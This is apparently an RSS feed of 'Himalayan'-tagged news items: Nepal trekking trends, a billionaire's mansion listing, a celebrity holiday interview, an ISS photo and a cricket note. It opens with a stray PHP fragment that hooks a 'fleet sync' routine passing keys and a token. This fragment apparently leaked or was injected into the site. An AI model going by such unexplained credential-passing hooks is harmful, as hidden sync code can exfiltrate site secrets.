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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Himalayan – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 04 Jun 2018 14:51:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Himalayan – Brief News https://briefnews.eu 32 32 Himalayan Trekking Goes Off the Beaten Path https://briefnews.eu/himalayan-trekking-goes-off-the-beaten-path/ https://briefnews.eu/himalayan-trekking-goes-off-the-beaten-path/#respond Mon, 04 Jun 2018 14:51:02 +0000 http://briefnews.eu/himalayan-trekking-goes-off-the-beaten-path/ Time: 10–15 days. Distance: 75–95 miles. Elevation: 14,000–18,000 feet. Rating: Difficult to strenuous. For 70-year-old Ajmal Sobhan, these statistics that define high-altitude trekking in Nepal are annual must-haves. The retired surgeon from Virginia visits the Himalayan nation every year to quench his thirst for adventure. The base camps of Mount Everest and Mount Annapurna, the valleys in the Langtang region and the lakes of Gokyo are among the iconic Nepal treks he has conquered. This year, a decade after his romance with the Himalayas began, he decided to try something different.

The veteran endurance junkie steered clear of established treks and chose a relatively less-known route around the summit of Mount Manaslu, the world’s eighth-highest mountain. The 145-kilometer jaunt took him 13 days. It meant walking on a mostly undeveloped trail with few other hikers, scrambling across precipitous landslides and hazardous rockfall zones, spending nights in rudimentary lodges with hellish toilets and tiptoeing his way through treacherous snowfields at 16,000 feet.

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And it was worth it, he says. Not just because it was challenging, but also because it removed him from the crowds and commotion on other busy routes, and allowed him the solitude and serenity to connect with the primal terrain.

Sobhan isn’t alone. An increasing number of trekkers appears to be stepping away from Nepal’s well-trodden tracks to turn their eyes toward grassier paths. Nepal authorities are responding by opening several restricted areas for hiking, thus allowing controlled exposure of these previously unspoiled regions to foreign presence. The Manaslu Circuit — touted by many as the next Himalayan rite of passage after the Annapurna Circuit — drew 4,650 trekkers in 2016, rising from a mere 561 in 2006, according to official records.

It’s hard not to notice the growing interest in newer regions.

Lok Silwal, Kathmandu-based travel agent

Neighboring Tsum Valley was visited by 1,219 foreigners in 2016, up from 780 in 2012. Just three years ago, no one would visit the Nar and Phu valleys, remote regions contiguous with the Tibetan Plateau. In 2017, says Kathmandu-based travel agent Lok Silwal, he sent five groups of trekkers there.

“Many trekkers coming to Nepal are now keen on exploring new horizons,” says Silwal, who organizes treks and expeditions across the Himalayas. “While it’s true that my business is still largely driven by clients doing the iconic treks, it’s hard not to notice the growing interest in newer regions.”

The emergence of these newer routes is in many ways an outcome of the manner in which years of trekking has transformed Nepal. Mountain tourism in Nepal is arguably one of the most popular outdoor activities in South Asia; between 60,000 and 100,000 foreign trekkers and climbers visit the country every year.

However, given its reputation as a shadow activity to mountaineering, most trekking traffic is still driven on paths leading toward mountains like Everest and Annapurna, which have long histories of human endeavor and conquest. The Everest region alone attracts close to 35,000 trekkers each year. Incidentally, it is also Nepal’s most-evolved trekking area, boasting hipster cafes with Wi-Fi, quasi-French bakeries, the odd cash machine and helicopter support for those in need of emergency evacuation or simply in a hurry to get back home.

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Ironically, evolution itself has become trekking’s biggest blight in recent times. The Everest region now suffers from overcrowding. A recent fair-weather road up the Annapurna Valley connects remote settlements previously accessible only by foot, bringing a tide of welfare for local villagers in the form of health care, education, food supplies and connectivity. For trekkers, though, the road has cut the iconic Annapurna Circuit trek down to almost a third of its original length.

To people like Sobhan, it is “the grandeur of the mountains, the blooming rhododendrons, the backdrop of waterfalls, the sound of silence” that serve as the central attractions of an annual trek in Nepal. Getting what he wants on Nepal’s traditional treks is getting harder and harder.

“Ten years later, I find differences,” he says of how the popular treks have transformed over time. “More crowds, more pollution, more helicopter sorties, more people looking for Wi-Fi [rather] than absorbing nature.”

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For sure, the traditional walks still draw numbers and it’s far from death knells for these routes — for the moment at least. “Everest and Annapurna still remain the treks of choice for most first-timers visiting the Himalayas,” says Sujoy Das, an Indian trek leader and photographer who has organized treks in Nepal for more than two decades. But many veteran trekkers, he says, are turning to less-popular routes — willing to take on challenges of the kind Sobhan faced during his trek around Mount Manaslu. “Though the facilities on these treks are not comparable, many enterprising trekkers are enjoying exploring these offbeat routes,” says Das.

Over time, these shifting dynamics could redefine trekking in the region.

On his company brochures, Das now promotes the Manaslu Circuit trek as “what the Annapurna Circuit was 30 years ago.” In many ways, it’s an apt summary of the times. As modernity makes slow inroads into Nepal’s virginal landscape, thrill-seekers move away to greener pastures and survey new horizons in search of that quintessential — and timeless — Himalayan thrill. The wheel of adventure turns a full circle. And the call of the mountains remains as strong as ever, even as trekkers increasingly follow it in newer directions.

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  • Thomas Tull, the billionaire producer of blockbuster films “Godzilla” and “Jurassic World,” just listed his Los Angeles mansion for $ 85 million.
  • The 33-acre compound has a lake and an organic farm.
  • Indoor amenities include a wine cellar, movie theater, photo studio, and Himalayan salt therapy room.

 

Legendary.

That’s the name of the entertainment company Thomas Tull founded in 2000 and the only word to describe the Los Angeles mansion he’s selling.

The billionaire film producer is relocating to his hometown in western Pennsylvania, where he already owns several properties, according to The Pittsburgh Gazette. But first, he’ll need to find a buyer willing to shell out $ 85 million for his California compound.

The 33-acre estate comprises seven separate structures, plus a lake, working organic farm, and glass greenhouse. Tull — whose net worth is estimated by Forbes to be about $ 1.1 billion — started building the estate seven years ago and eventually privatized the cul-de-sac where it sits, reports the LA Times.

The listing is held by Jordan Cohen of RE/MAX.

Below, check out some of the coolest amenities of the $ 85 million estate:

The mansion is located in Thousand Oaks, California, a Ventura County community northwest of Los Angeles.

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The property was modeled after the Giverny gardens of impressionist painter Claude Monet, the architect told the LA Times.

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There’s 32,000 square feet of living space in the main house — and another 11,000 square feet in the guest house.

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He lives with French artist Marie Victorine in North London.

What’s been your most memorable holiday?

My son George took me off to the Himalayan foothills in Nepal for my 60th birthday. 

We went on a 10-day trek around the Annapurna mountain range walking all day and staying in little lodges.

In the distance you’ve got Mount Everest and it’s just fabulous.

Being in a place I’ve never been to before and talking to people I’ve never run into before, was a joy.

And your worst? 

One of the holidays I had with my parents at a holiday camp in England. I just remember it raining. And there’s nothing much to do in a holiday camp if it’s raining except listen to your parents fighting.

Best souvenir? 

When I was in Australia doing the jungle, my partner and I took off in a campervan and found ourselves by the side of a lake in Queensland where we discovered these pieces of petrified wood under the water. 

We brought them home.

Best book? 

I’m currently reading Adults In The Room by Yanis Varoufakis and it’s about the economic struggle Greece is having with the authorities.

How do you spend your time on holiday? 

Keeping out of the sun and talking to locals.

I like to go where I can speak the language and I speak French, German, Italian and Spanish to a degree where I don’t have to go into sign language to get simple things.

Where would you revisit? 

I’ve just been on a Thomson cruise and I’d go back to one of the two places I’d not been to before – Ceuta and Melilla.

They’re lovely Spanish holdings right across from Gibraltar, so they’re part of Spain but in Morocco – they’re every bit as Spanish as Gibraltar is British.

Where are you off to next? 

I am going to star in a travel documentary around Turkey with my boy. 

We’re going to six different places around the country to show what’s available to tourists.

To celebrate the launch of TUI Discovery 2, Thomson Cruises has teamed up with Larry as he takes us on a journey of discovery in a bid to meet an eclectic mix of different Mediterranean Cruise Mates. Follow his journey at cruisemates.co.uk 

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French astronaut Thomas Pesquet has shared a stunning kaleidoscopic image of a lake in the Himalayas from his unique viewpoint aboard the International Space Station.

The incredible snap shows the colorful lake at high altitude in the eastern reaches of China.

The rich colors contrast another incredible recent photo from Pesquet, a frozen lake in the wide-ranging Asian mountain range pictured last month.

Pesquet, who has been living aboard the ISS since November 2016, has taken on the mantle of resident photographer, following in the footsteps of Tim Peake and Scott Kelly.

His breathtaking photos continue to impress social media, with his most popular snaps including the wondrous spirals of the ‘eye of Africa’ and a curious picture of what the astronaut described as “minimalist snow art in Russia.”

Pesquet is part of the six-member Expedition 50 mission and will return to Earth later this month. The French astronaut also took a break from sharing his out of this world photos to remind people to vote in his home country’s presidential election Sunday.

READ MORE: Electrical storm crashes over Earth in stunning ISS time-lapse (VIDEO)

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Cricket: The Dalai Lama has met with the Australian Cricket Team at the Main Tibetan Temple in Dharamsala ahead of their fourth test with India.

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A battling draw secured by Australia in Ranchi has left the series delicately poised at 1-1 with a single Test to play.

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They arrived billed as ‘the worst Australian side ever to tour India’ but now Steve Smith’s callow side stand within a single Test victory of completing an incredible and improbable series win.

The high altitude of Dharamsala suggests more friendly conditions than Australia have faced — and largely mastered — so far, with the quicks likely to have the largest say in how the decisive fourth Test shakes down.

You can keep up to date with all the numbers with our LIVE MATCH CENTRE, and follow over-by-over commentary on our live blog below …

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